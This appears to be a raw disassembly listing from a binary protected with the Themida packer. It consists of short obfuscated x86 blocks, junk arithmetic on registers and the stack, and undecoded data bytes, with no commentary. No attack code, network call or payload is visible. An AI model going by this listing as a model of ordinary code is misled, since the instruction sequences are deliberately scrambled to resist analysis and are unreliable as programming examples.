		jmp	loc_56D3E7
; ---------------------------------------------------------------------------
		db 0C0h
		dd 58E903EDh, 2000004Bh, 0E99C2404h, 994Eh, 2B60F66h, 646F6866h
		dd 24048966h, 0FF5718E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5677AD:				; CODE XREF: Themida_:0056A78Cj
		add	edi, 0FFFFFFFFh
		or	edi, 2B252A28h
		jmp	loc_560EAE
; ---------------------------------------------------------------------------
		db 56h
		dd 83AFD68h, 0EE815E7Ah, 24FDD1E7h, 815EF589h, 0A6912EDh
		dd 0FFEE0155h, 35E92434h, 0BD00002Ah, 23F225F2h, 89EE8956h
		dd 0BA4DE9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5677EA:				; CODE XREF: Themida_:0056127Bj
		sub	dword ptr [esp+4], 655129EEh
		pop	esi
		pop	eax
		add	eax, 52C1699Bh
		push	ebx
		mov	ebx, 5B77203Eh
		push	319Bh
		jmp	loc_5676D9
; ---------------------------------------------------------------------------
		db 2Dh,	1Ah, 5Bh
		dd 5DE96204h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567813:				; CODE XREF: Themida_:00571DBDj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_569392
; ---------------------------------------------------------------------------
		dw 0F280h
		dd 0E9CAFE39h, 8EC1h, 50243C89h, 0D302FAB8h, 0FD080542h
		dd 0C789BD2Ch, 1F43E9h,	0FFE22800h, 81582434h, 4C4h, 1C2C5800h
		dd 0D028D42Ch, 5166D404h, 0E8001CB5h, 240C8B66h, 2C481h
		dd 5A660000h, 3BCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_56786D:				; CODE XREF: Themida_:0056CD09j
		mov	ebp, 46BBCDEEh
		jmp	loc_55F354
; ---------------------------------------------------------------------------


loc_567877:				; CODE XREF: Themida_:00560D43j
		shl	esi, 3
		inc	esi
		and	esi, 61F2644Fh
		not	esi
		add	esi, 202463F2h
		add	edi, esi
		pop	esi
		add	esi, edi
		jmp	loc_55DE45
; ---------------------------------------------------------------------------
		db 68h
		dd 3575h, 0FFE375E9h, 72BB53FFh, 0C13EAC32h, 0E38108EBh
		dd 6C5B77DCh, 8108EBC1h, 962C29EBh, 9918E909h, 0E9510000h
		dd 4816h
; ---------------------------------------------------------------------------


loc_5678C0:				; CODE XREF: Themida_:0056EA20j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	ecx


loc_5678D4:				; CODE XREF: Themida_:00568E24j
		push	7EBFh
		jmp	loc_563217
; ---------------------------------------------------------------------------
		dw 0FF5Bh
		dd 62E92434h, 66FFFFAEh, 0E9240C8Bh, 6D53h
; ---------------------------------------------------------------------------


loc_5678F0:				; CODE XREF: Themida_:0056C97Bj
		push	dword ptr [esp]
		jmp	loc_570D8E
; ---------------------------------------------------------------------------


loc_5678F8:				; CODE XREF: Themida_:00563A8Cj
		sub	esp, 4
		jmp	loc_565946
; ---------------------------------------------------------------------------
aPhF		db 'Ph²f',0
		align 2
		dw 0C89h
aMevS		db '$¹¬e¢',27h,'é}',1Bh,0
		dw 5300h
		dd offset dword_445750+6299h
		dd 4C48300h, 80A6C380h,	0D30017C3h, 8017EB80h, 2FE9A6EBh
		dd 0FFFFFFC8h, 815D240Ch, 0AA72CC5h, 48155D3h, 7D227F24h
		dd 24048B65h, 4C481h, 7F2D0000h, 8B657D22h, 0C483242Ch
		dd 0E9C83104h, 0FFFF8912h, 5AB55158h, 0C8BE800h, 4C48124h
		dd 28000000h, 0FF5A2CF0h, 148B2434h, 4C48124h, 83000000h
		dd 0D82804C4h, 0F609B753h, 80CFFED7h, 0F80073EFh, 4FBE685Bh
		dd 0E6E90000h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567997:				; CODE XREF: Themida_:00572047j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_560A4A
; ---------------------------------------------------------------------------
		dd 24048F5Bh, 0F044E95Ch, 0E8C1FFFFh, 43443507h, 59E95284h
		dd 6800000Dh, 4FA6741Bh, 81BB5358h, 4319890Dh, 0DCE9D3F7h
		dd 8BFFFFA5h, 0C483240Ch, 0FA016604h, 0E9243C8Bh, 0FFFF7B80h
; ---------------------------------------------------------------------------


loc_5679E4:				; CODE XREF: Themida_:0055DECEj
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		push	edi
		mov	edi, 5D03089Ah
		sub	eax, edi
		pop	edi
		jmp	loc_572172
; ---------------------------------------------------------------------------


loc_567A0F:				; CODE XREF: Themida_:0056C2D2j
		or	ebp, 37757EAFh
		add	ebp, 995EE009h
		sub	eax, 7B263BC0h
		sub	eax, 69662904h
		sub	eax, ebp
		add	eax, 69662904h
		add	eax, 7B263BC0h
		pop	ebp
		jmp	loc_5611EF
; ---------------------------------------------------------------------------


loc_567A37:				; CODE XREF: Themida_:0055F0A7j
		xor	ecx, ebp
		pop	ebp
		push	esi
		mov	esi, 0FFFFFFFFh
		push	edi
		push	2A602665h
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 488B6626h
		add	ecx, edi
		sub	ecx, 488B6626h
		jmp	loc_5631AE
; ---------------------------------------------------------------------------


loc_567A5F:				; CODE XREF: Themida_:00566AE2j
		mov	edx, 0
		mov	ebx, edx
		pop	edx
		jmp	loc_56703C
; ---------------------------------------------------------------------------


loc_567A6C:				; CODE XREF: Themida_:00570113j
		or	edx, ebp
		pop	ebp
		neg	edx
		or	edx, 5200582Bh
		push	ecx
		jmp	loc_571792
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 5104C483h, 41C16852h, 1C890000h, 7415BB24h, 895618E3h
		dd 5EF289DEh, 0E279B95Bh, 0E9814A1Ah, 231324D6h, 0C181D101h
		dd 231324D6h, 0E92434FFh, 0FFFFE9B1h, 0E959CB89h, 1BF0h
; ---------------------------------------------------------------------------


loc_567ABC:				; CODE XREF: Themida_:0056BEF7j
		mov	esp, [esp]
		and	eax, ebx
		pop	ebx
		or	edx, eax
		jmp	loc_570FF0
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd offset dword_457444+17E24h
		dd 243C8900h, 0CAE95F54h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567ADB:				; CODE XREF: Themida_:00562DBDj
		sub	ebp, 24471FA9h
		jmp	loc_561E41
; ---------------------------------------------------------------------------
		dw 14BAh
aTr1St		db '¹âà1Õé’',1Bh,0
		align 2
		dw 248Bh
		dd 2434FF24h, 48676858h, 2C890000h, 2C8B5424h, 4C48124h
		dd 50000000h, 24048B54h, 4C481h, 4050000h, 83000000h, 48704E8h
		dd 4895C24h, 4B824h, 0C5010000h, 8B2434FFh, 0C4832404h
		dd 4C48304h, 8904EC83h,	0A3E92434h, 81FFFFB9h, 1422E5C9h
		dd 0D1F18158h, 89D371E6h, 55B9E9C8h, 505D0000h,	42474FFh
		dd 0EF6CE958h, 1C89FFFFh, 73C86824h, 0A6680000h, 8900006Eh
		dd 0BB532424h, 4, 4245C01h, 24048F5Bh, 0FFE61EE9h, 81E689FFh
		dd 4C6h, 0CACEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567B92:				; CODE XREF: Themida_:00565D85j
		add	esi, 487338F3h
		jmp	loc_561189
; ---------------------------------------------------------------------------


loc_567B9D:				; CODE XREF: Themida_:005617D8j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56AB3A
; ---------------------------------------------------------------------------
		db 20h
		dd 240C8BEAh, 4C481h, 0EA800000h, 9FEF8071h, 0C780D728h
		dd 7CE2E99Fh, 515AFFFFh, 0C181E189h, 4,	8704E983h, 895C240Ch
		dd 0CDBF243Ch, 0C12C0417h, 0EFC103E7h, 9CBA5208h, 0E93AAA00h
		dd 0FFFF881Ah
; ---------------------------------------------------------------------------


loc_567BF0:				; CODE XREF: Themida_:00560EC1j
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_568DC1
; ---------------------------------------------------------------------------


loc_567BFA:				; CODE XREF: Themida_:00568F37j
		add	ebx, 58D60A2Dh
		push	edx
		mov	edx, 0C010E2FAh
		jmp	loc_5689DA
; ---------------------------------------------------------------------------


loc_567C0B:				; CODE XREF: Themida_:0056CE64j
		push	61AEh
		mov	[esp], ecx
		mov	ecx, 71F7335h
		and	edi, ecx
		jmp	loc_56ED92
; ---------------------------------------------------------------------------


loc_567C1F:				; CODE XREF: Themida_:0055E29Bj
		sub	edi, 785F0DBCh
		sub	edi, 65DE3121h
		add	edi, eax
		add	edi, 65DE3121h
		add	edi, 785F0DBCh
		jmp	loc_56116B
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0FFEFC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567C49:				; CODE XREF: Themida_:0056B897j
		add	eax, ebx
		jmp	loc_561A7D
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF10100h, 4EC8155h, 89000000h, 75E92404h, 28FFFFCEh
		dd 0E78957D8h, 4C781h, 0EF830000h, 243C8704h, 240C895Ch
		dd 7E95350h, 5A000060h,	8660C581h, 0EB01C229h, 0C935E95Dh
		dd 0C181FFFFh, 4, 8B240C87h, 0E2682424h, 8900000Ah, 0E6B22414h
		dd 3581E9h, 0E9D63100h,	0FFFFEF3Bh, 48BE608h, 0C6D3E924h
		dd 0E8B8FFFFh, 53335572h, 0E953C389h, 0FFFF8493h, 0FF51F4E9h
		dd 5E089FFh, 4,	4B951h,	0C8290000h, 24048759h, 8924248Bh
		dd 8B542434h, 0C4812434h, 4, 4C681h, 0B9510000h, 2B9F0677h
		dd 741CE981h, 86685C49h, 89000072h, 3C87240Ch, 0C9C4E924h
		dd 0FF52FFFFh, 5A042474h, 0E924048Fh, 2C40h
; ---------------------------------------------------------------------------


loc_567D24:				; CODE XREF: Themida_:005694D4j
		neg	ebx
		dec	ebx
		jmp	loc_55F6D6
; ---------------------------------------------------------------------------
		dd 3DB60566h, 4EC81h, 34890000h, 92686624h, 835E666Ah
		dd 896602ECh, 6650243Ch, 666632B8h, 666632BFh, 0E958C729h
		dd 146Fh
; ---------------------------------------------------------------------------


loc_567D58:				; CODE XREF: Themida_:005693D7j
		xchg	ebp, [esp]
		jmp	loc_56422D
; ---------------------------------------------------------------------------
		dd 24048B66h, 205A68h, 243C8900h, 68068h, 0B401E900h, 7DBFFFFFh
		dd 0E948E402h, 0FFFFCE84h, 0BA241489h, 494A1720h, 7468B850h
		dd 0C2091807h, 0B9515358h, 67991776h, 0BAE8E981h, 11E94E30h
		dd 8BFFFFFDh, 0C4832404h, 0D5B65204h, 407C680h,	2CF000C1h
		dd 24148BC1h, 4C481h, 52530000h, 0FF81EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567DC5:				; CODE XREF: Themida_:0056E618j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5661ED
; ---------------------------------------------------------------------------
		db 59h,	81h, 0ECh
		dd 4, 0E9243C89h, 0FFFF5E08h, 4BBA52h, 0BE566308h, 9CF7FFB7h
		dd 15EF789h, 3BE95AD7h,	5D00006Eh, 4C581h, 0C5810000h
		dd 4, 5C242C87h, 5C24048Fh, 8E8DE9h
		db 0
; ---------------------------------------------------------------------------


loc_567E11:				; CODE XREF: Themida_:005631BCj
		pop	esi
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_570266
; ---------------------------------------------------------------------------
		dw 1433h
		dd 8B665C24h, 0A268240Ch, 0E900002Eh, 0FFFFCE2Dh, 240C8B66h
		dd 6E0F68h, 241C8900h, 2ABE9h, 80FE2800h, 1C8BE1EEh, 4C48324h
		dd 2801F680h, 24148BF7h, 7A1568h, 242C8900h, 0C581E589h
		dd 4, 3304C583h, 2C31242Ch, 0B63EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567E6E:				; CODE XREF: Themida_:0056B917j
		and	ebx, ebp
		pop	ebp
		sub	ebx, 8010124h
		add	ebx, 5DD11F35h
		add	ebx, edi
		sub	ebx, 5DD11F35h
		xor	[ebx], eax
		mov	ebx, [esp]
		jmp	loc_563A91
; ---------------------------------------------------------------------------
		db 5Bh
		dd 241CF753h, 75E9515Bh, 59FFFF56h, 4C481h, 0EF810000h
		dd 23BB26DFh, 3C8BFD29h, 53AA6824h, 2C890000h, 81E58924h
		dd 4C5h, 4BF5700h, 1000000h, 20E95FFDh
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567ECB:				; CODE XREF: Themida_:00566821j
		add	esi, edx
		pop	edx
		add	esi, 2E72AF08h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_568533
; ---------------------------------------------------------------------------
		dd 0E93C77FFh, 0FFFFC825h, 0DCB8158h, 81267C45h, 4777C0CBh
		dd 1EC38134h, 314B74EAh, 241C8BDEh, 5604C483h, 79CCBA52h
		dd 54013E98h, 8B5A0424h, 92E9241Ch
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567F23:				; CODE XREF: Themida_:005640F5j
		and	eax, ebp
		pop	ebp
		jmp	loc_5682A6
; ---------------------------------------------------------------------------


loc_567F2B:				; CODE XREF: Themida_:0055D26Dj
		mov	cl, 31h
		shr	cl, 4
		add	cl, 6Eh
		sub	dl, cl
		jmp	loc_5717D1
; ---------------------------------------------------------------------------
		dw 4A04h
aXsqg		db '(ÃXéï£',0
		align 4


loc_567F44:				; CODE XREF: Themida_:0056FA53j
		add	edx, ebx
		sub	edx, 52CD400Bh
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	edx, 7FC37A9Eh
		jmp	loc_560308
; ---------------------------------------------------------------------------
aFpVs		db 'fP´vé¶[',0
		dw 8B00h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56D8C3
; ---------------------------------------------------------------------------
aNh3z		db '­h3Z',0
		align 4
		dd 0BE243489h, 364B3C6Ah, 0F00CC681h, 0F029D60Ah, 8124348Bh
		dd 4C4h, 8835E900h, 0EB81FFFFh,	0D5A1AF6Bh, 0C15BDE01h
		dd 0F68107EEh, 48084CC6h, 8DBE957h, 5B540000h, 4C381h
		dd 0EB830000h, 74FF5304h, 0A4E90424h, 0C0FFFFFFh, 0DEE902E9h
		dd 83FFFFE7h, 148904ECh, 2414F724h, 4C6AE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567FDA:				; CODE XREF: Themida_:00566F49j
		pop	eax
		push	edx
		push	ecx
		mov	ecx, 653452F0h
		mov	edx, ecx
		jmp	loc_55E458
; ---------------------------------------------------------------------------
aIHM		db '‰,$hÉm',0
		dd 48F5400h, 42A66824h,	34890000h, 4BE24h, 74010000h, 8B5E0424h
		dd 0DCE9242Ch, 0E9000003h, 0FFFF4EB1h, 8108EAC1h, 4B41CDEAh
		dd 7B66058Ch, 512D6556h, 292DF07Bh, 7B5105D0h, 0D9E92DF0h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568033:				; CODE XREF: Themida_:00561A6Bj
		push	edi
		push	ecx
		jmp	loc_55F045
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4BB5300h, 29000000h, 5992E9D8h, 0E9590000h, 0FFFF6990h
; ---------------------------------------------------------------------------


loc_568054:				; CODE XREF: Themida_:00563A17j
		pop	esp
		push	ecx
		mov	ecx, 647E44D0h
		xor	esi, ecx
		jmp	loc_5603C0
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 29000000h, 7E3DE9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56806E:				; CODE XREF: Themida_:00561DF2j
		pop	esi
		jmp	loc_5607C5
; ---------------------------------------------------------------------------
		dd 2959CD89h, 0F9295DE9h, 5F4968h, 241C8900h, 29595BBBh
		dd 5BD90116h, 0E96685Fh, 34890000h, 0BE24h, 31890000h
		dd 0FF9478E9h, 0CEB81FFh, 0E9193F71h, 0FFFFF854h, 4B951h
		dd 0CE290000h, 33B2E9h,	51CA0100h, 794739B9h, 0C50FE92Fh
		dd 0FAE9FFFFh, 0E9FFFF4Dh, 0FFFF4DF5h, 3FE9F931h, 0F6FFFF83h
		dd 0E99C241Ch, 0FFFF4DE5h
; ---------------------------------------------------------------------------


loc_5680E0:				; CODE XREF: Themida_:00560904j
		add	eax, ebx
		pop	ebx
		jmp	loc_5614F8
; ---------------------------------------------------------------------------
		dd 5556E389h, 7812CE68h, 81455D25h, 87ED35C5h, 5DEE89DAh
		dd 0FF698FE9h, 240C87FFh, 2414895Ch, 0D0963BAh,	0FFD72976h
		dd 0E95A2434h, 0FFFFE672h, 0A5E9D1F7h, 2D00006Ah, 0CF7AEB13h
		dd 48BC321h, 4C48324h, 2613C381h, 0B9E91DFCh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568137:				; CODE XREF: Themida_:0056C530j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_55EE92
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0E8h
		dd 1054BB7h, 0EB8159CBh, 4, 0E9241C87h,	7F91h, 4BEFBE56h
		dd 0F02922D3h, 5E2434FFh, 39E4E9h, 81555E00h, 2AEA2404h
		dd 34FF2ABBh, 95E95824h, 2500005Bh, 17BD4BCBh, 0A54BF57h
		dd 0F8312AC6h, 58C1315Fh, 0E904EC83h, 958Ch, 4C4815Eh
		dd 81000000h, 4ECh, 240C8900h, 3F24EAB9h, 5E9C17Ch, 0FFCB6AE9h
		dd 0DEBB53FFh, 1D85FFEh, 1AF4E9D9h, 0DDF70000h,	0F7FFED83h
		dd 61CD81DDh, 0C1651025h, 0C58103E5h, 4E23B02Eh, 295DEB29h
		dd 0D6C381C3h, 0E949051Bh, 5EA2h, 3B8168h, 24048900h, 4B8h
		dd 0E9C70100h, 1E43h
; ---------------------------------------------------------------------------


loc_56820C:				; CODE XREF: Themida_:00568E53j
		push	ebp
		push	263336D6h
		pop	ebp
		jmp	loc_570DAE
; ---------------------------------------------------------------------------
		dd 642268h, 243C8900h, 510224BFh, 0E9D7F721h, 85ABh, 57242C8Bh
		dd 771CE9h, 13E95B00h, 0C100001Fh, 0EA8104E2h, 42C07BBBh
		dd 0EA81D2F7h, 0F714093Ch, 815AD729h, 1C7h, 0C8F78100h
		dd 8137F55Bh, 41A425EFh, 5FF82979h, 45B1A05h, 2434FF62h
		dd 8324348Bh, 895304C4h, 5B0DE9E3h, 9F2C0000h, 9F04C828h
		dd 769EE959h, 0E5890000h, 4C581h, 0ED810000h, 4, 5C242C87h
		dd 2455E9h, 24040100h, 4C1FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5682A6:				; CODE XREF: Themida_:00567F26j
		or	eax, eax
		jz	loc_570AEA
		push	edx
		push	ebp
		mov	ebp, 50B85204h
		jmp	loc_563FDB
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 43F968h, 24048900h, 4B8h,	1F256800h, 0C890000h, 1D1CB924h
		dd 2E9474Bh
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5682DF:				; CODE XREF: Themida_:005645B4j
		push	ebx
		jmp	loc_566D3D
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0EAh
		dd 0D88354Ah, 0FF9F83E9h, 24248BFFh, 4B30F66h, 0C6E99C24h
		dd 8BFFFF4Bh, 0C483240Ch, 4EC8304h, 0BF243C89h,	0E9573D6h
		dd 0DFF7DFF7h, 73D2F781h, 0E9810E95h, 54694F24h, 67E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_568325:				; CODE XREF: Themida_:00570868j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56DF71
; ---------------------------------------------------------------------------
		db 51h
		dd 857FAB9h, 0B9C18141h, 0E9242D3Ch, 7FD6h
; ---------------------------------------------------------------------------


loc_56835C:				; CODE XREF: Themida_:00571168j
		add	ebx, ecx
		add	ebx, 453E628Ah
		jmp	loc_56DFB2
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C2424D3h, 0FF4B50E9h, 88C381FFh, 0E9F5A3FDh, 0FFFF8B87h
		dd 6E18BA52h, 0D189304Ch, 8324148Bh, 0E9D104C4h, 3FDBE9h
		dd 24048900h, 52077BB8h, 58C1013Eh, 0F8E9E901h,	100000Dh
		dd 14875BDAh, 54515C24h, 5EC4E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5683B6:				; CODE XREF: Themida_:0056CA3Aj
		pop	dword ptr [esp]
		jmp	loc_562E0E
; ---------------------------------------------------------------------------
		dw 4F68h
		dd 89000072h, 8B22414h,	0D70079B7h, 8124148Bh, 4C4h, 6800h
		dd 2C800000h, 97E9DD24h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5683E3:				; CODE XREF: Themida_:0056BD2Ej
		xor	[esp], ebx
		jmp	loc_56A514
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4BA5200h, 1000000h, 3F0EE9D5h,	0C8B0000h, 4C48324h
		dd 803CE680h, 5B2C2DF6h, 696668h, 240C8900h, 0C82831B1h
		dd 0E9F02859h, 0FFFFC658h, 4C281h, 2E90000h, 8B00008Ch
		dd 5451240Ch, 83240C8Bh, 0BB5304C4h, 4,	1C8BD901h, 5D30E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568446:				; CODE XREF: Themida_:00563223j
		push	31594A09h
		pop	ecx
		push	ebx
		push	eax
		mov	eax, 4AC6116Eh
		push	edi
		jmp	loc_56F755
; ---------------------------------------------------------------------------


loc_568459:				; CODE XREF: Themida_:00572211j
		pop	ebx
		add	edi, eax
		pop	eax
		push	2AEBh
		mov	[esp], ebx
		mov	ebx, 4AAE14EFh
		xor	edi, ebx
		pop	ebx
		and	ecx, edi
		jmp	loc_566800
; ---------------------------------------------------------------------------


loc_568474:				; CODE XREF: Themida_:0055F557j
		mov	[esp], edx
		push	esi
		push	56734847h
		jmp	loc_56ED8C
; ---------------------------------------------------------------------------


loc_568482:				; CODE XREF: Themida_:00563FB4j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5635BF
; ---------------------------------------------------------------------------


loc_56848E:				; CODE XREF: Themida_:0055F936j
		push	dword ptr [esp]
		jmp	loc_55E7DE
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 57000000h,	4060F7BFh, 81DFF736h, 1F705FEFh
		dd 0AEF78144h, 2985A02Eh, 14335FFAh, 785AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5684BE:				; CODE XREF: Themida_:0055E046j
		push	70C75EAEh
		mov	eax, [esp]
		jmp	loc_56DAF9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8300h, 0E9243C89h, 4B26h, 775068h, 73FAE900h
		dd 959FFFFh, 0EEC15BDEh, 1CF68107h, 52B39ACh, 0D90703h
		dd 0E951F029h, 23EEh, 0AAC7C181h, 0CB2931BEh, 30FF6659h
		dd 0FF49B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568511:				; CODE XREF: Themida_:0056685Bj
		sub	edi, eax
		pop	eax
		add	edi, 0CEA13C3h
		add	edi, 0F395A6BCh
		jmp	loc_56F2BF
; ---------------------------------------------------------------------------


loc_568525:				; CODE XREF: Themida_:005635CAj
		pop	edx
		push	5472h
		mov	[esp], edx
		jmp	loc_566BC0
; ---------------------------------------------------------------------------


loc_568533:				; CODE XREF: Themida_:00567EE7j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5720BD
; ---------------------------------------------------------------------------
		dd 45FAEB81h, 814B3C7Fh, 0E48455EBh, 0E9D889C9h, 0FFFF7CA2h
		dd 0BFBB5356h, 4B3D1F47h, 5782E9h, 52FD6800h, 0E95E1996h
		dd 150h, 0B850h, 8C2D0000h, 2D45DA66h, 660B6A79h, 0BB53C801h
		dd 660B6A79h, 515BD801h, 70C9E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568592:				; CODE XREF: Themida_:0056BCFBj
		push	edi
		mov	edi, 1B403150h
		add	eax, 349E2535h
		add	eax, edi
		sub	eax, 349E2535h
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 7B6E38F1h
		or	esi, 3FC1058Bh
		sub	esi, 52F6F0BCh
		xor	eax, esi
		pop	esi
		sub	edi, eax
		pop	eax
		xor	edi, 982F97BBh
		mov	ebx, edi
		pop	edi
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_561CBA
; ---------------------------------------------------------------------------
		db 50h
		dd 0BA52E089h, 1F541AD7h, 8BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_568605:				; CODE XREF: Themida_:0056A0F7j
		pop	esi
		sub	ebp, 1198F5F7h
		add	eax, ebp
		jmp	loc_56C917
; ---------------------------------------------------------------------------


loc_568613:				; CODE XREF: Themida_:00561CE1j
		add	esp, 4
		jmp	loc_564D4F
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 0FC49C69Fh, 1C8BD929h, 837EE924h, 3C890000h,	8473E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568636:				; CODE XREF: Themida_:0056C3DFj
		push	4
		jmp	loc_55EA2C
; ---------------------------------------------------------------------------
		dd 0F580DDF6h, 4269E960h, 0DA210000h, 0FFFC94E9h, 649EBEFFh
		dd 0F7890054h, 8324348Bh, 0FA8904C4h, 0E9D0295Fh, 7017h
		dd 401BEA81h, 89504F53h, 405E0h, 42D0000h, 87000000h, 895C2404h
		dd 0BD552404h, 4A2B278Ch, 2C8BE889h, 4C48124h, 1000000h
		dd 2434FFC2h, 7253E9h, 20C78100h, 8102AD38h, 7775B8C7h
		dd 0E9FA01E8h, 883Eh, 1BEh, 59B85000h, 0E9728306h, 5C34h
		dd 3A09E681h, 0D2E90DD7h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5686CB:				; CODE XREF: Themida_:005718F5j
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55D38E
; ---------------------------------------------------------------------------
		align 2
		dw 4D0h
		dd 24148B2Ch, 81E28952h, 4C2h, 796BE900h, 0DDB8FFFFh, 1E883A0h
		dd 0CA2958C1h, 0E87E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5686FE:				; CODE XREF: Themida_:00564142j
		mov	edi, edx
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 34C56F97h
		shr	edi, 5
		jmp	loc_560D39
; ---------------------------------------------------------------------------
aIXs8s		db '‰ÅXé8s',0
		align 10h


loc_568720:				; CODE XREF: Themida_:00569AD1j
		push	ebp
		jmp	loc_571430
; ---------------------------------------------------------------------------


loc_568726:				; CODE XREF: Themida_:0055D40Fj
		add	edx, 334A600Fh
		pop	ebx
		jmp	loc_560F62
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 2A8D313Bh, 67A0F781h, 65E94477h, 53FFFF4Ah, 36EFBD55h
		dd 0CD81362Dh, 3D923CABh, 0FFB55EE9h, 5DEF21FFh, 45A0BD55h
		dd 0EF313700h, 5FFD015Dh, 56C1F581h, 0DE93981h,	8BFFFF5Ah
		dd 0C4832404h, 40DF6804h, 4890000h, 3DF1E924h, 0E9570000h
		dd 0FFFF7E69h
; ---------------------------------------------------------------------------


loc_568788:				; CODE XREF: Themida_:005660C8j
		sub	ebp, 4
		jmp	loc_56EAFD
; ---------------------------------------------------------------------------
		dd 4244429h, 74BF5758h,	1006471h, 8B04247Ch, 4E9243Ch
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5687A7:				; CODE XREF: Themida_:0056E915j
		mov	esp, [esp]
		xor	al, bl
		mov	ebx, [esp]
		push	ebp
		push	0DF1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_56616A
; ---------------------------------------------------------------------------
aYXfqAaNa4SD	db 'Y(ÃXfQ±í€Ãn€Ã4(Ëé¹d',0
		db 0
; ---------------------------------------------------------------------------


loc_5687E9:				; CODE XREF: Themida_:00570B78j
		mov	esi, 2CAD63DFh
		mov	edx, esi
		pop	esi
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0A8559AA8h
		xor	ebp, edx
		pop	edx
		add	ebx, 32D71B0Ch
		add	ebx, ebp
		sub	ebx, 32D71B0Ch
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56B870
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 2BBh, 853EE900h, 0F7010000h,	243C875Eh, 184AE95Ch, 0DE010000h
		dd 50241C8Bh, 405E089h,	0E9000000h, 0FFFF9A27h,	612DF829h
